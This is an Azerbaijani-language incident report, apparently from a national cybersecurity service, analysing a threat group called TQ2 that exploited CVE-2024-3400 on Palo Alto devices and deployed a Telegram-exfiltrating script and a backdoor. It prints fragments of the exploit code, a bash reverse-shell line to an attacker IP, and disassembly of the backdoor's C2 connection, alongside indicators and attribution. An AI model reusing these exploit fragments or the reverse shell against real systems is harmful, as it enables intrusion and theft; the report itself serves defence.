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Kiberinsidentlərin artması və hücumların getdikcə daha mürəkkəb metodlarla həyata keçirilməsi səbəbindən, Elektron Təhlükəsizlik 
Xidməti tərəfindən aparılan araşdırmalarda hücum edən qrupların izlənməsi, onların istifadə etdiyi infrastruktur və metodların (TTP) 
qeydə alınması və müəyyənləşdirilməsi üçün vahid adlandırma sistemi tətbiq edilməsi təklif olunmuşdur. Bu hesabatda araşdırılan qrup 
“Təhdid Qrupu 2” və ya qısaca “TQ2” adlandırılmışdır.



Təhlillərin nəticəsində əminliklə deyə bilərik ki, TQ2-nin kiber əməliyyatları əsasən fürsətçi xarakter daşıyır, əlçatan alətlərin istifadəsində 
qurulub, lakin zərurət yarandığı halda avtomatlaşdırmanı həyata keçirmək üçün xüsusi kodların yazılmasını nəzərdə tutur. Digər təhdid 
qruplaşmalarından fərqli olaraq, TQ2 spesifik sahələri və ya coğrafi bölgələri məqsədyönlü şəkildə hədəfə almır, əksinə, qrup sürətli ələ 
keçirmə metodlarına və əməliyyatların effektivliyinə üstünlük verir.

Xidmətin əməkdaşları tərəfindən “Telegram” ani mesajlaşma tətbiqində olan qapalı kanaldan əldə edilmiş məlumatlara əsasən, 
aşağıdakı ölkələr qruplaşmanın hədəfinə çevrilmişdir:

“Cyber Kill Chain” – Kiberhücum “Zənciri”, baş vermiş hücumların mərhələli şəkildə təsvir etmək üçün istifadə olunan modeldir. Bu 
model vasitəsilə baş vermiş insident əsas 7 mərhələ üzrə təsvir olunmuşdur:

Tədqiqat zamanı Xidmət tərəfindən bir çox dəllilər toplanılıb araşdırılmışdır:



-          “CVE-2024-3400” kodlu təhlükəsizlik boşluğunu istismar edən kod;

-          “Palo Alto” şəbəkə avadanlığında icra olunan komandalar və şəbəkə bağlantılarına dair jurnal qeydləri;

-          “Netdrv.exe” adlı icra edilə bilən, “reverse shell” əldə olunması üçün istifadə olunan zərərli fayl;

-          “Telegram” ani mesajlaşma tətbiqindəki qapalı kanala məlumatları göndərən “Python” kodu;

-          Ələ keçirilmiş istifadəçi kompyüterin “RAM” yaddaşı və rəqəmsal nüsxəsi;

-          “DC”nin rəqəmsal klonu.



İlkin tədqiqat “CVE-2024-3400” kodlu təhlükəsizlik boşluğunu istismar edən kod ilə başlamışdır. Kod öncədən “mayberce.txt” faylında 
saxlanılan “Palo Alto” cihazına aid URL-lərdə təhlükəsizlik boşluğunu yoxlamağa və hücumçu tərəfindən sistemdə uzaqdan komanda 
icrasını imkan yaradan fayl yaratmağa çalışır.

Kod zərərli komandanın icarsı üçün “CreateTarFile” funksiyasından istifadə edərək, “tar” aləti vasitəsilə “base64” kodlanmış komandanı 
xüsusi “SESSID” kukisinin içərisinə yerləşdirir:



Daha sonra kodlanmış “payload” kukiyə yerləşdirərək “POST” soruğusu vasitəsilə hədəfə göndərilir:



Göndərilmiş sorğu hədəfdə faylın yaratdığını yoxlamaq məqsədilə “GET” sorğusu formalaşdırılır və daha öncə göstərilən URL-yə 
göndərilir:



Göndərilmiş sorğuya cavab olaraq “200” status kodu qayıtdığı zaman “URL” “yesRce.txt” faylın içərisinə yazılır.

Hədəfin uğurla istismar olunduğunu yoxlamaq məqsədilə “Palo Alto” cihazının “Tech Support” faylı əldə edilib və “/var/log/pan/
gpsvc.log” faylı təhlil edilmişdir. Faylın içərisində “base64” kodlanmış komandalar müşahidə olunmuşdur:

cmd = f"tar -czf /var/appweb/sslvpndocs/global-protect/portal/js/jquery.{filename}.js /opt/pancfg/mgmt/saved-configs/running-
config.xml"

base64_cmd = base64.b64encode(cmd.encode()).decode().rstrip("=")



resp = requests.post(url=url + "/ssl-vpn/hipreport.esp", headers=headers, proxies=proxy, verify=False, allow_redirects=False, 
timeout=10)

if resp.status_code == 200:

    maybeRceFile.write(f"{url}/global-protect/portal/js/jquery.{filename}.js\n")



resp = requests.get(url=url, headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10)

if resp.status_code == 200:

    print(f"[+] Can be RCE: {url}")

    yesRceFile.write(f"{url}\n")




Komandanı “decode” etdiyimiz zaman aşağıdakı nəticələr əldə edirik:

Birinci kodlaşdırılmış komanda əlavə “crack.py” adlı faylın yüklənilməsi ilə nəticələnir. Sözügedən “Python” kodu aşağıdakıları 
yerinə yetirir:




İlk növbədə “/opt/pancfg/mgmt/global/db/lusers.db” yerləşən “SQLite” verilənlər bazası ilə bağlantı yaradır:

Daha sonra kod “admin” adlı istifadəçiləri axtarır, tapmadığı halda digər “enabled” statusunda olan istifadəçiləri axtarır:

İstifadəçini tapdıqdan sonra “generate_password” funksiyası vasitəsilə “random” şifrə təyin edib, onu MD-5 formatında 
“openssl” komanda vasitəsilə “hash” edir:

Daha sonra şifrə “userdb” verilənlər bazasında, “/etc/shadow” və “running-config.xml” fayllarında yenilənir:

Yuxarıdakı əməliyyatlar bitdikdən sonra sistem haqqında IP ünvan, ölkə və şəhər kimi məlumatlar toplanılır:

Toplanılmış məlumatlar “Telegram” ani mesajlaşma tətbiqində yaradılmış bota göndərilir:

Digər “base64” kodlanmış komanda isə “reverse shell”in alınması üçün istifadə olunur:

Burada, hücumçuya məxsus 143.244.54.7 IP ünvanında və 58467 saylı portda interaktiv “shell” yaradılır.

Hücumu daha ətraflı təhlil etmək məqsədilə “Palo Alto”nun şəbəkə loqlarına baxış keçirilib. Nəticədə aşağıdakı şübhəli bağlantılar 
müşahidə edilib:

Yuxarıda əks olunan bağlantılarda nəzərə çarpan məqam odur ki, ötürülən traffikin həcmi bəzi hallar istisna olmaqla 206 bayt təşkil edir. 
Adətən bu tipli bağlantılar “C2” serveri ilə əlaqənin olmasını göstərir. Traffiki daha yaxından araşdırmaq məqsədilə əlaqədə iştirak edən 
kompüterlərin birinin rəqəmsal nüsxəsi araşdırılmışdır.

Reyesterdə olan bağlantını araşdırmaq məqsədilə kompüterin “RAM” yaddaşına baxış keçirilmişdir. Məlum olub ki, bağlantını yaradan 
“Netdrv.exe” adlı icra edilən fayl digər “csvhost.exe” (burada qrup icra edilən faylı “Windows” Əməliyyat Sistemin “svchost.exe” 
prosesinə bənzədir) adlı fayl tərəfindən hər kompüter çalışdığı zaman işə salınır.

Şəbəkə bağlantısının “RAM” yaddaşından əldə olunan məlumatlara görə “Netdrv.exe” adlı fayldan qaynaqlandığı səbəbindən faylı daha 
dərindən təhlil etmək zərurəti yaranmışdır. Tərsinə mühəndislik əməliyyatları nəticəsində, kodun “assembler” versiyasına baxış keçirilib. 
Burada müxtəlif “hardcoded” dəyərlər müşahidə edilib.

Kodun “repo-centos-webtatic.serveftp.com” hissəsi hara aid olduğunu baxdığımız zaman aşağıdakılar müşahidə edilib:

“Assembler” kodundan məlum olur ki, “gethostbyname” cağırılır və “repo-centos-webtatic.serveftp.com”un IP ünvanı “resolve” olunur:

Daha sonra kodun “1F90h” hissəsindəki dəyəri 16-lıq (HEX) say sistemindən onluq say sisteminə çevirdikdə, "8080" alınır. Bu isə 
şəbəkə bağlantısı üçün port nömrəsini müəyyən edir. Növbəti addımda “connect()” çağırılaraq, təhdid qrupuna məxsus infrastruktura 
qoşulmaq üçün şəbəkə bağlantısı yaradılır:

Kodun digər hissələrinə baxış keçirdikdə məlum olur ki, bu bağlantı “shell” tipli bağlantıdır və hədəfə (yəni yoluxmuş kompüterə) 
uzaqdan komandaların göndərilməsi üçün istifadə olunur.

Əlavə olaraq hücumçuya aid infrastruktura baxış keçirilib və daxildə skanlamaların aparılmasına dair nəticələri ehitva edən fayllar əldə 
edilib:

Hesabat yazılan zaman bu server artıq fəaliyyət göstərmir. Bunu yoluxmuş cihazlar ilə “C2” arasında şəbəkə bağlantısının dayanması 
və qrup tərəfindən bu infrastrukturun daim nəzarət altında saxlanıldığı ilə əlaqələndirmək olar.

Digər marağlı fakt “repo-centos-webtatic.serveftp.com” ünvanı üzərində “nslookup” komandasını çalışdırdığımız zaman 
94.139.242.134 IP ünvanına “resolve” olunmasıdır:

Daha öncə reyesterdə müşahidə etdiyimiz ünvanı (188.72.77.166) və yuxarıdakı ünvanı hara aid olduğunu təhlil edən zaman hər 
ikisinin Rusiyanın bulud xidmətləri sahəsində fəaliyyət göstərən “IT-GRAD 1Cloud LLC” adlı şirkətə aid olduğunu görülür.

Daha öncə avtomatlaşdırma üçün istifadə olunan “Python” kodunda rus dilində olan “şərhləri” və infrastrukturun rus bulud xidmətləri 
göstərən şirkətdə qurulması “TQ2” adlı qrupun rus dilli ölkələrdən birindən fəaliyyət göstərdiyinə işarə edir.

Aşkar edilmiş əməliyyatlardan əlavə olaraq “RAM” yaddaşında yerləşən giriş məlumatların (istifadəçi adların və şifrələrin) əldə olunması 
üçün qrup tərəfindən aşağıdakı komanda icra olunmuşdur:

“MITRE ATT&CK®” çərçivəsi, baş vermis hücum zamanı təhdid aktoru tərəfindən istifadə edilən Texnikaların, Taktikaların və 
Prosedurların (TTP) təsvir etmək üçün istifadə olunan modeldir. Ümumilikdə insident zamanı aşağıdakı TTP-lər müşahidə edilmişdir:

17.03.2025 tarixinə olan TQ2 qrupuna aid indikatorlar aşağıdakı cədvəldə təqdim edilmişdir. Bundan əlavə, bu indikatorlar Xidmət 
tərəfindən aktiv şəkildə istifadə olunan “misp.cert.az” - “İnsident Məlumatlarının Mübadiləsi Platforması”na da əlavə edilmişdir. “TQ2” 
qrupunun fəaliyyətində hər hansı dəyişiklik müşahidə edildikdə, yeni indikatorların yuxarıda qeyd olunan sistemə əlavə olunması 
nəzərdə tutulmuşdur.

Rəqəmsal kriminalistika təhlili nəticəsində kompüterlərin birinin “ControlSet001\services\PortProxy\v4tov4\tcp” reyesterində aşağıdakı 
dəyər aşkarlanmışdır:

bash +& /dev/tcp/143.244.54.7/58467 0>&1

lea rcx, name  ; "repo-centos-webtatic.serveftp.com"

call cs:gethostbyname

mov dword ptr [rbp+50h+name.sa_data+2], eax  ;

mov ecx, 1F90h   ;

call cs:htons    ;

mov word ptr [rbp+50h+name.sa_data], ax  ;

call cs:connect  ;
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